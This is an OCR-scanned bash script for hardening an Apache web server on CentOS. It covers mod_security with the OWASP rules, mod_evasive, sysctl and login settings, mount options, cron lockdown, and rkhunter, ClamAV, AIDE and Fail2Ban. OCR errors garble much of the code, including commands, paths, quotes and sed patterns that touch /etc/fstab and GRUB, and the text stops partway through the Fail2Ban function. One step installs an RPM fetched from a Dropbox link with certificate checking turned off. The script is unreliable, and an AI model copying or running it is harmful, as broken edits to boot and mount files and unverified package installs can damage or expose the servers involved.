wget --no-check-certificate -C https://github.com/SpiderLabs/owasp-modsecurity-
crs/archive/v3.2.0.tar.gz -O master

tar xzf master

mv owasp-modsecurity-crs-3.2.0 o wasp-modsecurity-crs

cd owasp-modsecurity-crs/

cp crs-setup.conf.example crs-setup.conf

# Enable the below setting in case that is not included all *.conf files in apache httpd.conf
config file

# mod_security _config=3$(cat <<EOF

#<IfModule security2_module>

# Include /etc/httpd/crs-rules/owasp-modsecurity-crs/crs-setup.conf
# Include /etc/httpd/crs-rules/owasp-modsecurity-crs/rules/*.conf
#</IfModule>

#EOF

#)

# append_config "$mod_security_config" SHTTPD_CONF
append_config SNEW_LINE $HTTPD_CONF # add new line in httpd.conf file

# We will place our customized directives and we create our own configuration file within the
/etc/httpd/modsecurity.d directory
log_info "We will place our customized directives and we create our own configuration file
within the $CUSTOM_CRS_CONF directory."
cd /etc/httpd/modsecurity.d
touch custom-crs.conf
custom_crs_configs=$(cat <<EOF
<IfModule mod_security2.c>
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess On
SecResponseBodyMimeType text/plain text/html text/ xml application/octet-stream
SecDataDir /tmp
</IfModule>
EOF
)
append_config "$custom_crs_configs" $SCUSTOM_CRS_CONF
append_config SNEW_LINE $CUSTOM_CRS_CONF
cd $PWD

# performtest to mod_security
log_info "Is going to perform test to Mod_Security."”
mod_security_status_code="curl -s -0 /dev/null -w "%{http_code}" http://localhost -A
Nessus™
if ["$mod_security_status_code" =="403" ]; then  # 403 Forbidden
log_info "${COLOR_GREEN}Mod security test passed
successfully!${COLOR_DEFAULT}"
else
curl -i http://localhost -A Nessus
log_info "${COLOR_RED}Mod_security test failed! ${COLOR_DEFAULT}"
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fi
¥

#=== FUNCTION =============—=—=-==-=-—-—-—-—-—-—-—-—-—-——-————————————————————-——=—=—=—===
# NAME: mod_evasive

# DESCRIPTION: Execute Mod_Evasive installation and configuration
# PARAMETER: ---

function mod_evasive()
{

# source: https://phoenixnap.com/kb/apache-mod-evasive,

# https://www.tec mint.com/protect-apache-using-mod_security-and-mod_evasive-on-rhel-
centos-fedora/

log_info "Is going to install Mod_Evasive"

# dnfinstall -y https://pkgs.dyn.su/el8/base/x86_64/raven-release-1.0-1.el8.noarch.rpm

# dnf --enablerepo=raven-extras install -y mod_evasive

# wget --no-check-certificate https://pkgs.dynsu/el8/extras/x86_64/mod_evasive-0:1.10.1-
33.e18.x86_64.rpm

wget --no-check-certificate -0 mod_evasive-0_1.10.1-33.el8.x86_64.rpm
https://www.dropbox.com/s/8wufréqz9oudlys/mod_evasive-0_1.10.1-33.e18.x86_64.rpm?dI=1

dnfinstall -y mod_evasive-0_1.10.1-33.e18.x86_64.rpm

rm -rf mod_evasive-0_1.10.1-33.e18.x86_64.rpm

apache_restart

backup_file $MOD_EVASIVE_CONF
# Remove the # sign, then replace you@yourdomain.com with your actual email address
replace_configs "mod_evasive" $MOD_EVASIVE_CONF

apache_restart
backup_file $MOD_EVASIVE_TEST_SCRIPT

# Apply bug fixto mod_evasive_test_script in order to retrieve 403 Forbidden error

log_info "Is going to apply a bug fix to mod_evasive test.pl script in order to retrieve 403
Forbidden error"

sed -i 's/HTTPV1.0\n\\n/HTTPV1.0M\\n\\n\\n/g' $MOD_EVASIVE_TEST_SCRIPT

# performsome tests:
# testing: perl /usr/share/doc/mod_evasive/test.pl
log_info "Is going to execute Mod_Evasive test.pl script to test Mod_Evasive module”
forbidden_count="perl $MOD_EVASIVE_TEST_SCRIPT | grep '"HTTP/1.1 403 Forbidden' |
we -I°
log_info "Retrieved forbidden_count: $forbidden_count"
if [ "$forbidden_count" -gt "80" ]; then
log_info "${COLOR_GREEN}Mod Evasive test passed successfully!
${COLOR_DEFAULT}"
else
log_info "${COLOR_RED}Mod_evasive test failed! $§{COLOR_DEFAULT}"
fi
}

#=== FUNCTION =================-==-=—=-—-=-—-———-—-——-———————-————————=———=—=—-—=—=—==—===
# NAME: apache_hardening

# DESCRIPTION: Execute Apache hardening processes

# PARAMETER: ---

function apache_hardening()

{
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# Apache hardening source: https://devops.ionos.com/tutorials/how-to-harden-the-apache-
web-server-on-centos-7/
backup_file SHTTPD_CONF

#Keep Apache Up To Date
log_info "Keeping Apache Up To Date"
yumupdate httpd -y

# Hide The Apache Version

log_info "Is going to hide the apache version"
append_config "ServerSignature Off" $HTTPD_CONF
append_config "ServerTokens Prod” $HTTPD_CONF

# Secure Apache From Clickjacking Attacks
log_info "Securing Apache From Clickjacking Attacks"
append_config "Header append X-FRAME-OPTIONS \"SAMEORIGIN\"" $HTTPD_CONF

# Disable ETag
log_info "Disabling ETag"
append_config "FileETag None" $HTTPD_CONF

# Disable TRACE and TRACK methods

log_info "Disabling TRACE and TRACK methods"

append_config "TraceEnable Off* $HTTPD_CONF

append_config SNEW_LINE $HTTPD_CONF # add new line in httpd.conf file

# Turn Off Directory Listing (add: -Indexes in Options)

log_info "Turning Off Directory Listing"

# Disable Apache's FollowSy mLinks (add: -FollowSymLinks in Options)

log_info "Disabling Apache's FollowSy mLinks"

# Turn Off Server-Side Includes (SSI) And CGI Execution (add: -ExecCGl -Includes in
Options)

log_info "Turning Off Server-Side Includes (SSI) And CGI Execution™

replace_configs "html" $HTTPD_CONF

# Turn Off Server-Side Includes (SSI) And CGI Execution for specific web directory and also
Limit Request Size
log_info "Turning Off Server-Side Includes (SSI) And CGI Execution for specific web
directory and also Limit Request Size"
configs=$(cat <<EOF
<Directory "/var/www/examp le.com/">
Options -Includes -Exec CGl
LimitRequestBody 204800
</Directory>
EOF
)
# append_config "$configs" $HTTPD_CONF # TODO check
append_config SNEW_LINE $HTTPD_CONF # add new line in httpd.conf file

# Disable Unnecessary Modules

log_info "Disabling Unnecessary Modules™

backup_file $BASE_MODULES

comment_parameter " LoadModule info_module modules\/mod_info.so" $BASE M ODULES

comment_parameter "LoadModule userdir_module modules\/mod_userdir.so"
$BASE_MODULES

# Disallow Browsing Outside The Document Root
log_info "Disallowing Browsing Outside The Document Root"
replace_configs "root" $HTTPD_CONF
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# Secure Apache From XSS Attacks (add in IfModule mod_headers.c: Header set X-XSS-
Protection "1; mode=block™)
log_info "Securing Apache From XSS Attacks"
# Protect Cookies With HTTPOnly Flag (add in IfModule mod_headers.c: Header edit Set-
Cookie ~(.*)$ $1; HttpOnly;Secure)
log_info "Protecting Cookies With HTTPOnly Flag"
mod_headers_conf=$(cat <<EOF
<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
Header edit Set-Cookie ~(.*)$ $1;HttpOnly;Secure
</IfModule>
EOF
)
append_config "$mod_headers_conf" $HTTPD_CONF
append_config SNEW_LINE $HTTPD_CONF # add new line in httpd.conf file

}

#=== FUNCTION ===========-==-=——--—-—-----——-—-—-—-—-—-—----—-——-——o———-oo--——————=—=====
# NAME: expect_script

# DESCRIPTION: Used in secure_bootloader for password creation

# PARAMETER: ---

function expect_script(){

cat <<EOF

log_user0

spawn ${MKPASSWD}

sleep 0.33

expect "Enter password: " {
send "$GRUB_PASSPHRASE"
send "\n"

}

sleep 0.33

expect "Reenter password: " {
send "$GRUB_PASSPHRASE"
send "\n"

}
sleep 0.33
expect eof {
puts "\$expect_out(buffer)"
}
exit 0
EOF

}

#=== FUNCTION ===========-=—-=-—-—-—-—-—---—-—-—-—-—-—-—-—-—---o- - —o——o——ooo--———————=====
# NAME: secure_bootloader

# DESCRIPTION: Enable superuser and create password on bootloader

# PARAMETER: ---

function secure_bootloader()
{
backup_file $DEFAULTGRUB
backup_file $SGRUB_40_CUSTOM
log_info "Securing bootloader"
if [ -n "$GRUB_PASSPHRASE" ]; then
sed -i  's/"GRUB_CMDLINE_LINUX=.*/GRUB_CMDLINE_LINUX="--users
$GRUB_SUPERUSER"/'"$DEFAULTGRUB"
echo "setsuperusers=$GRUB_SUPERUSER" >> $GRUB_40 CUSTOM
GRUB_PASS=$(expect_script "$1" | $EXPECT | sed -e "/Mr$/d" -e "/~$/d" -e "s/.*
\(FO)AU™)
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echo "password_phkdf2 $GRUB_SUPERUSER $GRUB_PASS" >>
$GRUB_40_CUSTOM
echo 'export superusers' >>$GRUB_40_CUSTOM
log_info "Secure Bootloader finished successfully!"
fi
}

#=== FUNCTION =================-==-=-=-=-=——-=——-——-——---=-—-——-———-——-=—=-—=——=—=——=—=—=—=====
# NAME: disable_unneeded_modules

# DESCRIPTION: Disable unneeded kernel and file systems modules,

# disable also unwanted services and protocols

# PARAMETER: ---

function disable_unneeded_modules()
{
# ok
# Disable unwanted services
log_info "Is going to disable unwanted services"
fordisable in SUNW_SERVICES; do
systemctl disable $disable
done

# ok

# Disable unneeded kernel modules

log_info "Is going to disable unneeded kernel modules”

for disable in SMOD; do
if I grep -q "$disable” "$DISABLEMOD" 2> /dev/null; then

echo "install $disable /bin/true" >>"$DISABLEM OD"

fi

done

# ok

# Disable unneeded file systems

log_info "Is going to disable unneeded file systems™

for disable in SUNW_FS; do
if  grep -q "$disable" "$DISABLEFS" 2> /dev/null; then

echo "install $disable /bin/true™ >>"$DISABLEFS"

fi

done

# ok

# Disabling unwanded protocols

log_info "Is going to disable unwanded protocols”

for disable in SUNW_PROT; do
if 1 grep -q "$disable” "$DISABLENET" 2> /dev/null; then

echo "install $disable /bin/true" >>"$DISABLENET"

fi

done

# Disable core dumps

#log_info "Is going to disabling coredump™ # Causes error on mod_evasive and mod_security
testing

#backup_file $SYSTEM CONF

#sed -i 's/"tDump Core=.*/DumpCore=no/' "$SYSTEM CONF"

#sed -i 's/"CrashShell=*/CrashShell=no/' "$SYSTEM CONF"

#sed -i 's/"tDefault Limit CORE=.*/Default LimitCORE=0/' "$SYSTEMCONF"

#sed -i 's/Default Limit NOFILE=.*/DefaultLimitNOFILE=100/'"$SYSTEMCONF"

#sed -i 's/"tDefault LimitNPROC=.*/Default LimitNPROC=100/' "$SYSTEM CONF"

backup_file SUSERCONF

sed -i 's/MDefault LimitCORE=.*/Defau ltLimit CORE=0/' "$USERCONF"
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sed -i 's/MtDefault LimitNOF I LE=.*/Default LimitNOFILE=100/' "$USERCONF"
sed -i 's/MtDefault LimitNPROC=.*/Default LimitNPROC=100/' "$USERCONF"

systemctl daemon-reload

if test -f "SCOREDUMPCONF"; then
backup_file $COREDUMPCONF
log_info "Fixing Systemd/coredump.conf"
sed -i 's/#Storage=.*/Storage=none/' "$COREDUM PCONF"

systemctl restart systemd-journald
log_info "systemd-journald restarted successfully!"

fi
}
#=== FUNCTION ===========—==-=——-=-—-—-----—-—-—-—-—-—-—-—--—o-—-——o— oo ——————-=====
# NAME: secure_mounts

# DESCRIPTION: Disable the execution rights in shared memory in files /tmp, /var/tmp and /dev/shm
# PARAMETER: ---
ettt ettt ettt

function secure_mounts()

{

log_info "Is going to secure mounts™

cat > /etc/systemd/system/tmp.mount <<EOF
# letc/systemd/system/default.target.wants/tmp.mount ->../tmp.mount

[Unit]

Description=Temporary Directory
Documentation=man:hier(7)
Before=local-fs.target

[Mount]

What=tmpfs

Where=/tmp

Type=tmpfs

Options=mode=1777,strictatime ,nosuid,nodev
EOF

sed -i /floppy/d’ /etc/fstab

if [-e ]; then
sed -i /\/tmp/d' /etc/fstab

for t in $(mount | grep -e " /tmp " -e " /var/tmp " -e " /dev/shm " | awk ‘{print $3}");
do
umount $t
done

mkdir /etc/systemd/system/default.target.wants

sed -i /[[:space:]]Vtmp[[:space:]}/d" /etc/fstab

In -S [etc/systemd/system/tmp.mount
letclsystemd/system/default.target.wants/tmp.mount

sed -i 's/Options=.*/Options=mode=1777 strictatime,nodev,nosuid/'

letclsystemd/system/tmp.mount

cp /etc/systemd/system/tmp.mount /etc/systemd/systemyvar-tmp.mount
sed -i 's/\/tmp/\/var\tmp/g' /etc/systemd/system/var-tmp.mount
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In -S /etc/systemd/system/var-tmp.mount
letclsystemd/system/default.target.wants/var-tmp.mount

cp /etc/systemd/system/tmp.mount /etc/systemd/system/dev -shm.mount
sed -i 's/\tmp/\/dev\/lshm/g' /etc/systemd/system/dev-shm.mount

In -S [etc/systemd/system/dev-shm.mount
letclsystemd/system/default.target.wants/dev-shm.mount
sed -i 's/Options=.*/Options=mode=1777 strictatime,noexec,nosuid/'

letclsystemd/system/dev-shm.mount

chmod 0644 /etc/systemd/system/tmp.mount
chmod 0644 /etc/systemd/systemvvar-tmp.mount
chmod 0644 /etc/systemd/systemv/dev-shm.mount

systemctl daemon-reload
else
log_error /etc/systemd/system/tmp.mount was not found.'
fi
}

#=== FUNCTION ===========—==-=——-=——-—----——-——-—-—-——---—o—-——— oo ——————=—=====
# NAME: configure_sysctl_params

# DESCRIPTION: Security configurations in sysctl params

# PARAMETER: ---

function configure_sysctl_params()

{
log_info "Is going to configure sysctl parameters™
IFS='

backup_file $SYSCTL

append_config "fs.protected hardlinks = 1" $SYSCTL

append_config "fs.protected_symlinks = 1" $SYSCTL

append_config "fs.suid_dumpable = 0" $SYSCTL

append_config "kernel.core_uses_pid =1" $SYSCTL

append_config "kernel kptr_restrict = 2" $SYSCTL

append_config "kernel.panic = 60" $SYSCTL

append_config "kernel.panic_on_oops =60" $SYSCTL

append_config "kernel.perf_event_paranoid =2" $SYSCTL
append_config "kernel.randomize_va_space =2" $SYSCTL
append_config "kernel.sysrqg =0" $SYSCTL

append_config "kernel.yama.ptrace_scope =1" $SYSCTL
append_config "net.ipv4.conf.all.accept_redirects = 0" $SYSCTL
append_config "net.ipv4.conf.all.accept_source_route =0" $SYSCTL
append_config "net.ipv4.conf.all.log_martians = 1" $SYSCTL
append_config "net.ipv4.confall.rp_filter = 1" $SYSCTL
append_config "net.ipv4.conf.all.secure_redirects = 0" $SYSCTL
append_config "net.ipv4.conf.all.send_redirects =0" $SYSCTL
append_config "net.ipv4.conf.default.accept_redirects = 0" $SYSCTL
append_config "net.ipv4.conf.default.accept_source_route =0" $SYSCTL
append_config "net.ipv4.conf.default.log_martians = 1" $SYSCTL
append_config "net.ipv4.conf.default.rp_filter= 1" $SYSCTL
append_config "net.ipv4.conf.default.secure_redirects = 0" $SYSCTL
append_config "net.ipv4.conf.default.send_redirects =0" $SYSCTL
append_config "net.ipv4.icmp_echo_ignore_all = 1" $SYSCTL
append_config "net.ipv4.icmp_echo_ignore_broadcasts =1" $SYSCTL
append_config "net.ipv4.icmp_ignore_bogus_error_responses = 1" $SYSCTL
append_config "net.ipv4.ip_forward = 0" $SYSCTL

append_config "net.ipv4.tcp_max_syn_backlog = 2048" $SYSCTL
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append_config "net.ipv4.tcp_rfc1337 = 1" $SYSCTL

append_config "net.ipv4.tcp_synack_retries = 2" $SYSCTL
append_config "net.ipv4.tcp_syncookies = 1" $SYSCTL
append_config "net.ipv4.tcp_syn_retries =5" $SYSCTL
append_config "net.ipv4.tcp_timestamps = 0" $SYSCTL
append_config "net.ipv4.conf.all.forwarding = 0" $SYSCTL
append_config "net.ipv6.conf.all.disable_ipv6= 1" $SYSCTL
append_config "net.ipvé.conf.default.disable_ipv6 = 1" $SYSCTL
append_config "net.ipv6.conf.lo.disable_ipv6 = 1" $SYSCTL
append_config "net.ipv6.conf.all.use_tempaddr= 2" $SYSCTL
append_config "net.ipv6.conf.all.accept_ra= 0" $SYSCTL
append_config "net.ipv6.conf.all.accept_redirects = 0" $SYSCTL
append_config "net.ipv6.conf.default.accept_ra=0" $SYSCTL
append_config "net.ipv6.conf.default.accept_ra_defrtr = 0" $SYSCTL
append_config "net.ipv6.conf.default.accept_ra_pinfo = 0" $SYSCTL
append_config "net.ipv6.conf.default.accept_redirects = 0" $SYSCTL
append_config "net.ipvé.conf.default.autoconf= 0" $SYSCTL
append_config "net.ipv6.conf.default.dad_transmits = 0" $SYSCTL
append_config "net.ipv6.conf.default. max_addresses = 1" $SYSCTL
append_config "net.ipv6.conf.default.router_solicitations = 0" $SYSCTL
append_config "net.ipvé.conf.default.use_tempaddr = 2" $SYSCTL
append_config "net.ipv6.conf.all.forwarding = 0" $SYSCTL
append_config "net.netfilter.nf_conntrack_max = 2000000" $SYSCTL
append_config "net.netfilter.nf_conntrack_tcp_loose = 0" $SYSCTL

# sed -i /net.ipv6.conf.ethO.accept_ra_rtr_pref/d' "$SYSCTL"

foriin $(arp -n -a |awk '{print $NF}' | sort |uniq); do

# echo "net.ipv6.conf."$i".accept_ra_rtr_pref=0"

append_config "net.ipvé.conf.$i.accept_ra_rtr_pref = 0" $SYSCTL
done

echo 1048576 > /sys/module/nf_conntrack/parameters/hashsize

chmod 0600 "$SYSCTL"
IFS="
systemctl restart systemd-sysctl

}

#=== FUNCTION ===========-==-=-—--—-—-—---—-—-—-—-—-—-—o—o—o--o-—-——-—-o——o——oo--———————=====
# NAME: configure_user_limits

# DESCRIPTION: Configuring user access limits in production apache web servers
# PARAMETER: ---

function configure_user_limits()
{
# Configure user security limits
log_info "Is going to configure user security limits"
backup_file SLIMITSCONF

sed -i 's/™# End of file*//'"$LIMIT SCONF"
append_config "* hard maxlogins 10" $LIMITSCONF
append_config "* hard core 0" $LIMITSCONF
append_config "* soft nproc 100" $LIMITSCONF
append_config "* hard nproc 150" $LIMITSCONF
append_config "# End of file" $SLIMITSCONF

}

#=== FUNCTION ===============-==-==-=-=-=-=——-=-—-—-—-—=---——-——-—-——-——-——=—————=——=—=====

# NAME: remove_suid_bits
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# DESCRIPTION: Remove suid bits in some files to avoid root execution of these files
# PARAMETER: ---

function remove_suid_bits()

{
# Remove suid bits
log_info "Is going to remove suid bits"
for p in /bin/fusermount /bin/mount /bin/ping /bin/ping6 /bin/su /bin/umount \
{usr/bin/bsd-write /ust/bin/chage /usr/bin/chfn /usr/bin/chsh \
{usr/bin/mlocate /usr/bin/mtr /usr/bin/newgrp /usr/bin/pkexec \
{usr/bin/traceroute6.iputils /usr/bin/wall /usr/shin/pppd;
do
if [ -e "$p" ]; then
oct=$(stat -c "%a" $p |sed 's/4/0/") # 0755
ug=%(stat -c "%U:%G" $p) # root:root
chmod $oct $p
chown $ug $p
chmod -s $p # clear the bits with symbolic modes like
fi
done
for SHELL in $(cat /etc/shells); do
if [ -x"$SHELL" ; then
chmod -s "$SHELL"
fi
done
}

#=== FUNCTION ===========—==—=—=-==-=-—-—-—-—-—-—-———-—-——-————————-———————————=—-——=—=—-—===
# NAME: configure_umask

# DESCRIPTION: Apply strict permissions on files and folders by configuring systemumask to '027'
# PARAMETER: ---

function configure_umask()

{
# Set umask
log_info "Is going to set umask to 027"
if 1 grep -q -i "umask” "/etc/profile” 2> /dev/null; then
backup_file $ETC_PROFILE
append_config "umask 027" $ETC_PROFILE
fi
if 1 grep -q -i "umask” "/etc/bashrc™ 2> /dev/null; then
backup_file $SETC_BASHRC
append_config "umask 027" $ETC_BASHRC
fi
}

#=== FUNCTION ===========-====-==-=-—-=-—--—-—-—-—--——-————-————-—————————=—=—=—-—=—=—==-===
# NAME: secure_rhosts_hosts_equiv

# DESCRIPTION: Delete configs for possible remote access to apache web server

# PARAMETER: ---

function secure_rhosts_hosts_equiv()

{
# Secure user and services host files
log_info "Is going to secure .rhosts and hosts.equiv"
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for dir in $(awk -F ":" ‘{print $6}' /etc/passwd); do
find "$dir" \(-name "hosts.equiv" -0 -name ".rhosts" \) -exec rm -f {}\; 2> /dev/null
done

if [[ -f /etc/hosts.equiv ]]; then
rm/etc/hosts.equiv
fi
}

#=== FUNCTION ===============-==-==-=-=-=-=——-=——-——-—-—---=-—-——-—-——-——-—=-—=——=——=——=—=—=====
# NAME: configure_tcp_wrappers

# DESCRIPTION: Configuring TCP wrappers for Centos services access control
# PARAMETER: ---

function configure_tcp_wrappers()

{
# Configure TCP Wrappers

log_info "Is going to configure TCP Wrappers™

append_config "ALL: LOCAL, 127.0.0.1" $HOSTS_ALLOW
append_config "ALL: PARANOID" $HOSTS_DENY

chmod 644 $HOSTS_ALLOW

chmod 644 $HOSTS_DENY

}

#=== FUNCTION =============—==-==-=-=-=-=-—-=-—-—-—-—-——-————————-———————————=—-—=—=—==—===
# NAME: configure_logindefs

# DESCRIPTION: Configuring accounts termination policy

# PARAMETER: ---

function configure_logindefs()
{
# Configure logindefs
log_info "ls going to configure accounts termination policy"

sed -i's/"*LOG_OK_LOGINS.*/LOG_OK_LOGINS\t\tyes/' "$LOGINDEFS"

sed -i 'sS/"UMASK . */UMASK\t\t077/ "$LOGINDEFS"

sed -i's/"PASS_MIN_DAYS.*/PASS_MIN_DAYS\t\t7/' "$LOGINDEFS"

sed -i's/"PASS_MAX_DAYS*/PASS_MAX_DA YS\t\t30/' "$LOGINDEFS"

sed -i's/DEFAULT_HOME*/DEFAULT_HOME no/' "$LOGINDEFS"

sed -i's/lUSERGROUPS_ENAB.*/USERGROUPS_ENAB no/' "$LOGINDEFS"

sed -i 's/"¥ SHA_CRYPT_MAX_ROUNDS.*/SHA_CRYPT_MAX_ROUNDS\t\t10000/"
"$LOGINDEFS"

}

#=== FUNCTION ===========—==-=——-=——-—=----—-—-—-—-—-—-—-—----—-————————----——————=—=====
# NAME: configure_loginconf

# DESCRIPTION: Configuring lock sessions and automatic users logout
# PARAMETER: ---

function configure_loginconf()

{

# Configure loginconf
log_info "Is going to configure lock sessions and automatic users logout”

sed -i 's/"KillUserProcesses=no/KillUserProcesses=1/'"$LOGINDCONF"
sed -i 's/"KillExcludeUsers=root/KillExcludeUsers=root/' "$LOGINDCONF"
sed -i 's/#ldleAction=ignore/ldleAction=lock/' "$LOGINDCONF"

sed -i 's/#ldleActionSec=30min/IdleActionSec=15min/' "$LOGINDCONF"
sed -i 's/"RemovelPC=yes/RemovelPC=yes/' "$LOGINDCONF"
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systemctl daemon-reload

}

#=== FUNCTION ===============—====—=-=-—=-—=——=——-———=-—=-=-—=-=——=——-———=—=—=—=—==—=—=—=—=—=======
# NAME: locking_new_users

# DESCRIPTION: Lock new users

# PARAMETER: ---

function locking_new_users()
{
# Locking new user shell by default
log_info "Is going to lock new users"
sed -i's/SHELL=.*/SHELL=\/bin\/false/' "$USERA DD"
sed -i's/" INACTIVE=*/INACTIVE=35/' "$SUSERADD"
}

#=== FUNCTION ===========-==-=——--—-—-----——-—-—-—-—-—-—----—-——-——o———-oo--——————=—=====
# NAME: remove_unneeded_users

# DESCRIPTION: Delete unnecessary users

# PARAMETER: ---

function remove_unneeded_users()

{
# Remove unneeded users
log_info "Is going to remove unwanted users"

for users in games gnats irc list news uucp; do
userdel -r "$users" 2> /dev/null
done

}

#=== FUNCTION ===========—====-==-=-=-=-=-=-=-—-—-—-—-—-—---=-———-—-—-—=—--=-—=—=—=——=——=—=—=====
# NAME: disable_ipv6

# DESCRIPTION: Disable IPv6 protocol in case that is not used for security reasons

# PARAMETER: ---

function disable_ipv6()
{
log_info "Is going to disable ipv6"
backup_file SNETCONFIG
sed -i 's/GRUB_CMDLINE_LINUX=*/GRUB_CMDLINE_LINUX="ipv6.disable=1"/"
"$DEFAULTGRUB"
sed /udp6/d' SNETCONFIG
sed ‘/tcp6/d' SNET CONFIG
}

#=== FUNCTION =============—=——-=—=-—=----——-——-——-——----—-—————-—-----—=———=—=—=—=====
# NAME: configure_dns_resovlers

# DESCRIPTION: Configure secure DNS resolvers to avoid man-in-the-midd le attacks

# PARAMETER: ---

function configure_dns_resovlers()

{

# Configure DNS resolvers
log_info "Is going to confugure secure DNS resolvers"

dnsarray=( $(grep nameserver /etc/resolv.conf | sed 's/nameserver//g’) )
dnslist=${dnsarray[@]}
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backup_file SRESOLVEDCONF

backup_file SNSSWITCH

sed -i "s/MDNS=.*/DNS=%$dnslist/" "$RESOLVEDCONF"

sed -i "s/MtFallbackDNS=.*/FallbackDNS=8.8.8.8 8.8.4.4/" "$RESOLVEDCONF"
sed -i "s/"DNSSEC=.*/DNSSEC=allow-downgrade/" "$RESOLVEDCONF"

sed -i /™hosts:/ s/files dns/files resolve dns/' SNSSWITCH

systemctl daemon-reload

}

#=== FUNCTION =============-==-=-=-=-=--=--=-—-—--—-—-—-—---o-—-——-—-—-o——o——--————————=—=====
# NAME: lock_cronjobs

# DESCRIPTION: Disable cron jobs for users

# PARAMETER: ---

function lock_cronjobs()

{
# Lock up cronjobs
log_info "Is going to locking up cronjobs for users"

rm/etc/cron.deny 2> /dev/null
rm/etc/at.deny 2> /dev/null

echo 'root' > /etc/cron.allow
echo 'root' > /etc/at.allow

chown root:root /etc/cron*
chmod og-rwx /etc/cron®

chown root:root /etc/at*
chmod og-rwx /etc/at*

systemctl mask atd.service
systemctl stop atd service
systemctl daemon-reload

}

#=== FUNCTION ===========-==-=-=-=-—-—-=---—-—-—-—-—-—-—-—-—----—-——-—-—o——o——oo—————————=====

# NAME: configure_logrotate

# DESCRIPTION: Configure logrotate to avoid system corruption from log files

# PARAMETER: ---

#:______________________________________________________________________:

function configure_logrotate()

{
log_info "Is going to configure logrotate™
backup_file $LOGROTATE
echo "> $LOGROTATE

log_rotate_configs=$(cat <<EOF
# see "man logrotate"” for details
# rotate log files daily
daily

# use the syslog group by default, since this is the owning group
# of /var/log/syslog.
su rootsyslog

# keep 7 days worth of backlogs
rotate 7
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# create new (empty) log files after rotating old ones
create

# use date as a suffix of the rotated file
dateext

# compressed log files
compress

# use xz to compress
compresscmd /usr/bin/xz
uncompresscmd /usr/bin/unxz
compressext .xz

# packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own wtmp and btmp -- we will rotate them here

Ivar/log/wtmp {
monthly
create 0664 root utmp
minsize 1M
rotate 1
}
/var/log/btmp {
missingok
monthly
create 0600 root utmp
rotate 1
}
# system-specific logs may be also be configured here.
EOF
)
append_config "$log_rotate_configs" $SLOGROTATE
backup_file $JOURNALDCONF
sed -i 's/tStorage=.*/Storage=persistent/' "$JOURNA LDCONF"
sed -i 's/"tForwardToSyslog=.*/ForwardToSyslog=yes/' "$JOURNALDCONF"
sed -i 's/MCompress=*/Compress=yes/' "$JOURNALDCONF"
systemctl restart systemd-journald
}

# Malware Scanners

#=== FUNCTION =============—=——-=—=-—=----——-——-——-——----—-—————-—-----—=———=—=—=—=====
# NAME: enable_rkhunter

# DESCRIPTION: Install, configure and enable rkhunter scanner

# PARAMETER: ---

function enable_rkhunter()

{

log_info "Installation of Rkhunter in progress. Please wait..."

install_packages SRKHUNTER_PACKAGE

# Enable RKHUNTER (source: https://www.theurbanpenguin.com/install-rkhunter-on-centos-
1))

log_info "Is going to configure and enable rkhunter scanner"
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# sed -i 's/"CRON_DAILY_RUN=*/CRON_DAILY_RUN="yes"/' "$SRKHUNTERCONF"

# sed -i 's/"APT_AUTOGEN=*/APT_AUTOGEN="yes"/' "$SRKHUNTERCONF"

sed -i 's/ALLOW_SSH_ROOT_USER=*/ALLOW_SSH_ROOT_USER=no/g’
$RKHUNTERCONF

append_config "CRON_DAILY_RUN=\"yes\"" $SRKHUNTERCONF

append_config "APT_AUTOGEN=\"yes\'"" $RKHUNTERCONF

rkhunter --propupd
}

#=== FUNCTION =============-==-==-=-=--=-=-=-—-—--—-—-—-—---o-—-——-—-—-——o——--—————————=====
# NAME: enable_clamav

# DESCRIPTION: Install, configure and enable clamav antivirus

# PARAMETER: ---

function enable_clamav()

{
log_info "Installation of Clamav antivirus in progress. Please wait..."
install_packages SCLAMAV_PACKAGES

log_info "Is going to configure and enable CLAMAV"

setsebool -P antivirus_can_scan_system 1

backup_file SCLAMAVCONF

backup_file $CLAMAVSERVICE

sed -i 's/#LocalSocket \/run/LocalSocket \/run/g' $SCLAMAVCONF

sed -i 's/scanner (%i) daemon/scanner daemon/g' $CLAMAVSERVICE

sed -i 's/\/etcVclamd.d\/%i.conf/\/etc\/clamd.d\/scan.conf/ly' SCLAMA VSERVICE
freshclam

systemctl enable clamav-freshclam.service
systemctl start clamav-freshclam.service

mkdir /var/log/clamav/
touch Nvar/log/clamav/user_clamscan.log
cron_clamscan=$(cat <<EOF
#1/bin/bash
# SCAN_DIR="/home"
# LOG_FILE="/var/log/clamav/user_clamscan.log"
{usr/bin/clamscan -i-r /home >> /var/log/clamav/user_clamscan.log

EOF

)
append_config "$cron_clamscan” $CRON_DAILY_CLAMSCAN
chmod +x $CRON_DAILY_CLAMSCAN

}

#=== FUNCTION =============-=—=-=—-=——-=———-———-——-——-——-———--———————-——=-=—=—==—==—=====
# NAME: aide_ids

# DESCRIPTION: Install, configure and enable aide IDS

# PARAMETER: ---

function aide_ids()

{
log_info "Installation of Aide IDS in progress. Please wait..."
install_packages $AIDE_PA CKAGE

log_info "Is going to secure Aide"
backup_file SAIDECONFIG
sed -i 's/"Checksums =*/Checksums =sha512/' SAIDECONFIG
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log_info "Is going to set Aide postinstall”

aide —-init

log_info "Building AIDE initial db, please wait..."

cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz 2> /dev/null 1>&2

log_info "Enabling AIDE check daily"

aide_check_service=$(cat <<EOF
[Unit]
Description=Aide Check

[Service]
Type=simple
ExecStart=/usr/sbin/aide --check

[Install]
WantedBy=multi-user.target
EOF

)
append_config "$aide_check_service" $AIDE_CHECK_SERVICE

aide_check_timer=$(cat <<EOF
[Unit]
Description=Aide check every day at midnight

[Timer]
OnCalendar=*-*-* 00:00:00
Unit=/etc/systemd/system/aidecheck.service

[Install]
WantedBy=multi-user.target
EOF

)
append_config "$aide_check timer" $AIDE_ CHECK_TIMER

chmod 0644 /etc/systemd/systemvaidecheck.*

systemctl reenable aidecheck.timer
systemctl start aidecheck.timer
systemctl daemon-reload

}

#=== FUNCTION ===========-=—-=-—-—-—-—-—---—-—-—-—-—-—-—-—-—---o- - —o——o——ooo--———————=====

# NAME: enable_fail2Ban
# DESCRIPTION: Install, configure and enable Fail2Ban 1DS
# PARAMETER: ---

function enable_fail2Ban()

{

log_info "Installation of Fail2Ban IDS in progress. Please wait..."
install_packages $SFAIL2BAN_PACKAGE

log_info "Is going to configure and enable Fail2Ban"
systemctl enable fail2ban
